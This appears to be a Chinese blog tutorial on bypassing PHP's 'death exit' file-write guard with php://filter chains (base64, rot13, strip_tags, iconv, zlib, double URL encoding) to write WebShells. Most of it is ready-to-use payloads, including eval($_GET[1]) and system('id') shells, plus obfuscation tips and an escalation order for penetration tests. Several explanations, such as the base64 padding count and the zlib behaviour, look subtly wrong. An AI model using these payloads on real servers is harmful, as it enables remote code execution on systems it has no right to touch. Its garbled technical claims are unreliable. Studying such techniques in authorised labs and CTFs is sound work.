PHP Filter伪协议实战:手把手教你绕过死亡exit写入WebShell(附多种Payload)
PHP Filter伪协议高级利用:突破死亡exit的七种武器
在CTF竞赛和实际渗透测试中,我们常常会遇到开发者使用 file_put_contents($filename, "<?php exit();".$content) 这样的防御代码。这种模式被称为"死亡exit",它像一堵墙挡在WebShell写入的路径上。本文将深入剖析七种突破这堵墙的技术手段,每种方法都配有可直接复现的Payload和原理解析。
1. 死亡exit防御机制解析
当开发者使用 file_put_contents 拼接用户可控内容时,典型的防御代码如下:
$content = $_GET['content']; // 用户可控输入
file_put_contents($filename, "<?php exit();".$content);
这段代码会在写入文件的开头插入 <?php exit(); ,使得后续注入的PHP代码无法执行。要突破这种防御,我们需要理解几个关键点:
- PHP标签的闭合规则 :
<?php和?>之间的内容会被解析为PHP代码 - 过滤器的工作顺序 :多个过滤器会按从左到右的顺序依次处理数据流
- 编码转换的特性 :某些编码转换会破坏原始PHP标签的结构
注意:所有实验应在授权环境下进行,本文示例仅供安全研究学习使用
2. Base64解码绕过法
Base64解码器会忽略非Base64字符,但要求输入长度是4的倍数。利用这一特性可以构造特殊Payload:
$filename = "php://filter/write=convert.base64-decode/resource=shell.php";
$content = "aPD9waHAgcGhwaW5mbygpOz8+"; // 补足长度后的base64编码
原理拆解 :
- 原始字符串:
<?php exit();aPD9waHAgcGhwaW5mbygpOz8+ - Base64解码时,
<?php exit();a共13个字符,补3个字符使长度达到16(4的倍数) - 解码后有效部分:
<?php phpinfo();?>
适用场景 :
- 目标服务器未过滤base64相关操作
- 可控制完整的写入内容
3. ROT13编码转换技术
ROT13是一种字母替换加密,PHP内置支持这种转换:
$filename = "php://filter/write=string.rot13/resource=shell.php";
$content = "<?cuc cucvasb();?>"; // phpinfo();的ROT13编码
技术细节 :
- ROT13会将
<?php exit();转换为<?cuc rkvg(); - 转换后的代码无法执行,而我们的Payload
<?cuc cucvasb();?>会被转换回有效的PHP代码
限制条件 :
- 需要目标服务器支持短标签(
<?) - 不适用于严格过滤特殊字符的环境
4. 多层过滤器组合拳
通过组合多个过滤器可以创造更强大的绕过效果:
$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
$content = "?>PD9waHAgcGhwaW5mbygpOz8+";
执行流程 :
strip_tags移除所有PHP标签,将<?php exit();变为纯文本base64-decode处理时,纯文本被忽略,只解码有效Base64部分- 最终写入内容:
<?php phpinfo();?>
优势 :
- 不依赖特定编码方式
- 可绕过简单的关键词过滤
5. 字符编码转换技巧
利用UCS-2/UCS-4编码转换可以破坏原始exit结构:
| 编码类型 | 操作方式 | 示例Payload |
|---|---|---|
| UCS-2 | 每2字节反转一次 | convert.iconv.UCS-2LE.UCS-2BE |
| UCS-4 | 每4字节反转一次 | convert.iconv.UCS-4LE.UCS-4BE |
// UCS-2示例
$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php";
技术原理 :
- UCS-2将
<?php exit();转换为hp?< xeip(t);>,破坏原始结构 - 需要精心构造Payload使其转换后形成有效PHP代码
6. 压缩过滤器妙用
zlib压缩过滤器组合可以创造神奇的绕过效果:
$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php eval($_GET[1]);?>/resource=shell.php';
处理过程 :
zlib.deflate压缩原始数据string.tolower改变压缩数据特征zlib.inflate解压时因数据损坏跳过原始exit部分- 最终保留有效的PHP代码
适用场景 :
- 其他简单过滤器被禁用时
- 需要更隐蔽的绕过方式
7. URL编码双重绕过技术
当直接的关键词被过滤时,可以使用双重URL编码:
$content = "php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|?<hp phpipfn(o;)>?/resource=shell.php";
解码过程 :
- 第一次URL解码:
%63%6f%6e%76%65%72%74%2e%69%63%6f%6e%76%2e%55%43%53%2d%32%4c%45%2e%55%43%53%2d%32%42%45→convert.iconv.UCS-2LE.UCS-2BE - 第二次处理实际编码转换
防御对抗 :
- 可绕过简单的关键词黑名单
- 需要服务器支持多次URL解码
8. 实战中的组合策略
在实际渗透测试中,往往需要组合多种技术。以下是一个综合Payload示例:
$content = "php://filter/write=string.toupper|convert.iconv.UTF8.UTF16|string.rot13|convert.base64-decode/resource=?><?php system('id');?>";
策略选择矩阵 :
| 防御措施 | 推荐绕过方式 | 成功率 |
|---|---|---|
| 基础关键词过滤 | 双重URL编码 | 高 |
| 禁止编码转换 | 压缩过滤器组合 | 中 |
| 严格内容校验 | 多层过滤器+特殊字符 | 低 |
| 无特别防御 | Base64或ROT13简单绕过 | 极高 |
在真实环境中,建议按照以下步骤测试:
- 先尝试简单的Base64绕过
- 测试ROT13等字符串过滤器
- 逐步升级到编码转换技术
- 最后尝试压缩过滤器等高级技巧
遇到过滤时,可以尝试以下变形:
- 将
php://filter替换为PHP://FiLtEr - 使用
///代替/的路径分隔符 - 添加无意义的过滤器参数混淆视听
这些技术不仅适用于死亡exit绕过,在文件包含、任意文件读取等漏洞利用场景中同样有效。理解这些原理后,可以灵活组合创造出更多样的攻击方式
更多推荐
所有评论(0)